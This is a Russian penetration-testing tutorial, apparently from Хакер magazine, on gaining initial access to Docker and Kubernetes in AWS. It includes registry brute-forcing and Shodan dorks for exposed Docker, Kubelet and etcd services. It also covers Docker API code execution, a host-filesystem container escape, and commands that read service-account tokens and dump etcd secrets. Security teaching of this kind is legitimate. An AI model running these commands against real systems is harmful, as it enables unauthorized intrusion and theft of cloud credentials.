Хакер - Удар по контейнерам. Пентестим Docker и Kubernetes в облаке Amazon
hacker_frei
MichelleVermishelle
Содержание статьи
- Elastic Container Registry (ECR)
- Внешняя разведка
- AWS CLI
- Elastic Container Service (ECS)
- Initial Access
- Enumeration
- Elastic Kubernetes Service (EKS)
- Initial Access
- Перечисление
- Выводы
Предположим, ты уже умеешь повышать привилегии в среде AWS. Но туда ведь нужно еще как‑то попасть! Файлы .credentials в репозиториях и другие простые ошибки разработчиков встречаются все реже и реже. Что еще можно поискать? Об этом и поговорим сегодня.
AWS — это чуть больше двух сотен разных сервисов.
Сейчас все больше компаний начинают использовать контейнерные среды. AWS, следуя за спросом, предлагает несколько сервисов для работы с Docker или Kubernetes. У кластеров в AWS есть некоторые отличия от обычных, но они крайне незначительны.

Слева обычная система, справа то же самое, но в AWS. Везде присутствует Docker Engine — собственно, сам движок, обеспечивающий работоспособность контейнерной среды. И реестр — специальное место, откуда можно скачать образ докера.
ELASTIC CONTAINER REGISTRY (ECR)
Внешняя разведка
В ECR хранятся образы контейнеров. Они помогают разработчикам в управлении, развертывании и настройке инфраструктуры. В подобных местах при пентесте особо не разгуляешься, но очень часто не самые внимательные кодеры могут оставить в образе какие‑нибудь конфиденциальные данные, поэтому обязательно стоит проверять в том числе и реестр.
Без учетных данных надеяться можно лишь на удачу. ECR имеет URL для доступа следующего вида:
https://<account-id>.dkr.ecr.<region>.amazonaws.com
Например:
https://184194106212.dkr.ecr.us-east-2.amazonaws.com
Возможно, удача тебе улыбнется и ты получишь доступ к реестру.
Также иногда на пентесте встречается работающая на 5000-м порте служба Docker Registry, которую пока не умеет определять Nmap.

Если реестр требует аутентификации, то при попытке обратиться к нему получим ошибку:
root@xtreme$> curl -k https://<IP>:5000/v2/_catalog
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
Имея на руках список возможных логинов, можно попробовать атаковать брутфорсом:
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
А когда найдешь данные для аутентификации, сдампить образы поможет DockerRegistryGrabber.
AWS CLI
Если есть доступ к AWS CLI, то, конечно же, получится достать на порядок больше информации.
Первым делом стоит обнаружить все репозитории:
aws ecr describe-repositories

Обязательно попробуй вставить URL из repositoryURl в браузер. Возможно, повезет и аутентификация для доступа к репозиторию не потребуется.
Следующим шагом рекомендую проверить привязанную политику.
aws ecr get-repository-policy --repository-name <RepositoryName>
Пример:
aws ecr get-repository-policy --repository-name xakepru
Чаще всего никаких политик не привязано и мы получим ошибку.

Но бывает, что попадается привязанная политика.

Здесь видим, что всем объектам (Principal: *) разрешено:
ecr:BatchCheckLayerAvailability— проверять доступность одного или нескольких образов в репозитории;ecr:BatchGetImage— получать более детальную информацию об образе;ecr:GetDownloadUrlForLayer— получать URL для загрузки образа.
Наконец, убедившись, что текущий пользователь имеет права на работу с репозиторием, найдем все образы:
aws ecr list-images --repository-name <RepositoryName>
Пример:
aws ecr list-images --repository-name xakepru

Получить информацию о конкретном образе:
aws ecr describe-images --repository-name <RepositoryName> --image-ids imageTag=<ImageTag>
Пример:
aws ecr describe-images --repository-name xakepru --image-ids imageTag=latest
ELASTIC CONTAINER SERVICE (ECS)
Да, много информации из ECR не вытянешь. А можно ли сразу пробраться в Docker? Все возможно! ECS — сервис для управления контейнерами. Его структура довольно незамысловата.

Сначала создается кластер с определенным числом узлов (нод). Чаще всего это реализуется на базе EC2 или Fargate.
Задача — это обязательная и незаменимая часть ECS. Она требуется для корректного запуска контейнера. Позволяет указать, какой образ Docker использовать, сколько ЦП и памяти выделять, как собирать логи, какую роль IAM использовать и так далее. Задача запускается вручную. Она, в свою очередь, запускает определенные для нее контейнеры, которые работают, пока не будут остановлены или не завершат работу самостоятельно.
Служба ECS используется, чтобы гарантировать, что всегда выполняется некоторое количество задач. Если контейнер непредвиденно выключается, то именно служба заменит неудавшуюся задачу. Для того и создаются кластеры: чтобы у службы было достаточно ресурсов для использования.
Initial Access
Самый распространенный способ получить первоначальный доступ в ECS — торчащие в сеть порты 2375 или 2376. На них висит Docker Remote API, используемый для управления контейнером. По умолчанию на нем нет никакой аутентификации, поэтому любой, кто в состоянии взаимодействовать с этими портами, может работать с контейнерами.
Обнаружить подобный мисконфиг можно с помощью Shodan:
port:2375 product:docker
port:2376 product:docker

Эксплуатация донельзя простая. Можно использовать стандартную утилиту Docker, указав в переменной среды DOCKER_HOST IP уязвимого хоста, а затем выполнять все стандартные команды администрирования контейнеров. Как вариант — отправлять JSON с информацией для Docker при помощи curl.
WWW
Описание формата данных в официальной документации Docker.
Находим все доступные контейнеры:
curl http://<IP>:2375/containers/json | python3 -m json.tool

Видим, что взаимодействие успешно, поэтому можем добиться выполнения кода в контейнере вот так:
curl -s "http://10.10.10.10:2375/containers/<container_id>/exec" -X POST -H "Content-Type: application/json" -d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["whoami"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'
export EXEC_ID=913c5
curl -s "http://10.10.10.10:2375/exec/${EXEC_ID}/start" -X POST -H "Content-Type: application/json" -d '{"Detach": false,"Tty": false}'
Если хочешь использовать Docker, то все точно так же. Рассмотрим вариант с монтированием хостовой файловой системы в контейнер:
# Указываем IP-адрес уязвимого хоста
export DOCKER_HOST="tcp://10.10.10.10:2375"
# Смотрим доступные образы
docker images
# Запускаем контейнер (/:/host означает монтирование / в контейнерный /home)
docker run -it -v /:/host <REPOSITORY>:<TAG> bash
# И монтируем файловую систему
docker> chroot /host bash
Enumeration
Успешно сбежав из контейнера, ты попадешь на саму работающую ноду (которая чаще всего будет расположена в VPC). В случае с EC2 обязательно проверяй IMDS, чтобы найти токены доступа привязанной роли.
INFO
Virtual Private Cloud (VPC), или виртуальное частное облако, — это полноценная изолированная сеть в облаке, обладающая всеми свойствами реальной сети. Здесь используются такие же IP-адреса, подсети и маршрутизация, как в обычной сети.
Когда получен доступ к AWS CLI, пора переходить к разведке.
Поиск всех кластеров: aws ecs list-clusters.

Получить подробную информацию о конкретном кластере:
aws ecs describe-clusters --cluster <ClusterName>
Пример:
aws ecs describe-clusters --cluster DimkinCluster

Дальше можно продолжить нашу разведку вот так:
# Нахождение всех сервисов
aws ecs list-services --cluster <ClusterName>
# Конкретный сервис
aws ecs describe-services --cluster <ClusterName> --services <ServiceName>
# Задачи
aws ecs list-tasks --cluster <ClusterName>
aws ecs describe-tasks --cluster <ClusterName> --tasks <TaskArn>
ELASTIC KUBERNETES SERVICE (EKS)
Kubernetes — лакомый кусочек для пентестера. Именно здесь всегда сосредоточено больше всего интересной информации, а векторов для получения доступа множество. Однако устройство даже простого кластера поначалу может напугать!

Создается кластер. В нашем случае есть два VPC: EKS VPC — основной и Customer VPC — дочерний. В дочернем существуют рабочие экземпляры, на которых работают приложения. Поэтому очень важно во время пентеста определить, какой VPC принадлежит узел управления (EKS Control Panel), а на какой запускаются приложения.
Во многом структура похожа на обычный кластер Kubernetes. Те же ноды, те же балансировщики нагрузки, те же средства управления. Kubernetes может хранить множество секретов, множество мисконфигов и множество потенциальных векторов для атак!
Опять же Kubernetes интересен нам потому, что, выбравшись к ноде, попадем в VPC, что не может не радовать.
Initial Access
Kubelet API
Это служба, которая работает на каждом узле кластера. Она следит за тем, чтобы контейнеры были запущены в поде, и взаимодействует с kube-apiserver. По умолчанию работает на порте 10250.
Обнаружить ее просто. Например, можешь ввести в Shodan port:10250 Kubernetes.

В некоторых случаях будет доступ только для чтения. То есть максимум сможем получать информацию из API: устройство кластера, имена подов, расположение файлов и другие настройки. Это не критическая информация, но ее все же не следует выкладывать в интернет.
Например, можно злоупотребить этим, обратившись к следующему URL:
http://external-IP:10255/pods

В переменных среды контейнера неприлично часто встречаются чувствительные данные, как в этом примере — ключи доступа для AWS. Получим доступ к этому контейнеру — получим доступ в облако.
Но нам может очень крупно повезти, ведь по умолчанию к этому сервису предоставляется анонимный доступ.

Правда, возникают определенные проблемы. API службы Kubelet не документирован, хотя когда это мешало хакерам? Мы ведь можем просто глянуть в исходный код.
Стоит искать строку, которая начинается с path(.

Я обнаружил следующие интересные эндпоинты:
/pods/
/run/
/exec/
/attach/
/portForward/
/containerLogs/
/runningpods/
Обрати внимание на /exec/ и /run/. С помощью этих конечных точек можно выполнить код внутри контейнера! Причем существует даже инструмент для эксплуатации, но, чтобы лучше понять суть процесса, рекомендую использовать curl:
# Получить все пространства имен, поды и контейнеры
curl -k https://10.10.11.133:10250/pods/ | jq -r '.items[] | [.metadata.namespace, .metadata.name, [.spec.containers[].name]]'
curl -k https://10.10.11.133:10250/runningpods/ | jq -r '.items[] | [.metadata.namespace, .metadata.name, [.spec.containers[].name]]'
# /run
curl -XPOST -k https://10.10.11.133:10250/run/{namespace}/{pod}/{container} \
-d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt /var/run/secrets/kubernetes.io/serviceaccount/token"
# /exec
curl -sk -X POST -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" \
https://10.10.11.133:10250/exec/{namespace}/{pod}/{container} \
-d 'input=1' -d 'output=1' -d 'tty=1' \
-d 'command=ls' -d 'command=/'
Как вариант, можешь использовать kubeletctl:
kubeletctl exec /bin/sh -n <namespace> -p <pod> -c <container> -s <IP> --cacert ./ca.crt
kubeletctl exec /bin/sh -p kube-proxy-84qt4 -c kube-proxy -n kube-system -s 10.129.227.136 --cacert ./ca.crt
etcd
Анонимные сессии на этом не заканчиваются! Такому же мисконфигу может быть подвержено и хранилище etcd. Оно имеет формат «ключ — значение» и содержит всю информацию о конфигурации кластера Kubernetes. В нем также хранится текущее состояние системы и желаемое (например, после деплоймента).
С поиском снова поможет Shodan: port:2379 product:"etcd".

В etcd всегда лежит много секретов, получить к ним доступ можно, например, с помощью MSF:
use auxiliary/scanner/etcd/open_key_scanner
set RHOSTS TARGETIP
exploit

Если Metasploit по каким‑то причинам не устраивает, можешь использовать etcdctl:
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Kube-ApiServer
Наконец, если не было уязвимости ни в Kubelet, ни в etcd, то посмотри в сторону API-сервера. С этой службой общаются обычно с помощью инструмента kubectl, а располагается она на 6443-м, 443-м или 8443-м порте. Проверить работоспособность можно так:
curl -k https://IP:6443/swaggerapi
curl -k https://IP:8443/healthz
curl -k https://IP:443/api/v1
Однако получить RCE таким методом, к сожалению, не получится.
Перечисление
При получении доступа в AWS CLI открываются богатые возможности для поиска информации.
Получить список доступных кластеров можно командой aws eks list-clusters.

Получить информацию об определенном кластере:
aws eks describe-cluster --name <Cluster-Name>
Пример:
aws eks describe-cluster --name RedTeamCluster

Обрати внимание на следующее:
version— версия Kubernetes, которая используется;endpoint— конечная точка для доступа к этому кластеру. В некоторых редких конфигурациях она может быть доступна из интернета, что значительно упрощает пентест;vpcId— VPC, в котором находится кластер;endpointPublicAccess— разрешен ли доступ без аутентификации к эндпоинту;publicAccessCidrs— диапазон IP, из которого можно получить доступ к кластеру.
Чаще всего, попав в облако из Kubernetes, можно получить привилегированную учетку. У нее может не быть никаких прав в AWS, но при этом она может уметь делать все, что захочешь, в среде Kubernetes.
Одна из первых настроек кластера на EKS, которые нужно сделать еще до запуска узлов, — это добавление роли узла IAM в группу system:nodes. Эта группа привязана к роли Kubernetes system:node, у которой есть права на чтение разных объектов Kubernetes: сервисов, узлов, подов, постоянных томов и восемнадцати других ресурсов. Все, что нам нужно сделать, чтобы унаследовать эти полномочия, — попросить AWS преобразовать наши ключи доступа IAM в действительный токен Kubernetes, чтобы мы могли запрашивать сервер API как член группы system:nodes:
aws eks get-token --cluster-name <имя кластера> --profile <профиль>
Пример:
aws eks get-token --cluster-name RedTeamCluster --profile node

ВЫВОДЫ
Безопасность контейнерных сред — все более и более актуальная проблема. Как ты смог убедиться, получить первоначальный доступ в AWS не так и сложно. Злоумышленник, сбегая из контейнера, вылезет где‑нибудь в VPC, что может нанести компании огромный ущерб!
Дальше нарушитель будет повышать привилегии, собирать информацию из etcd, искать доступ к другим VPC. Об этих техниках я расскажу в следующих статьях.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei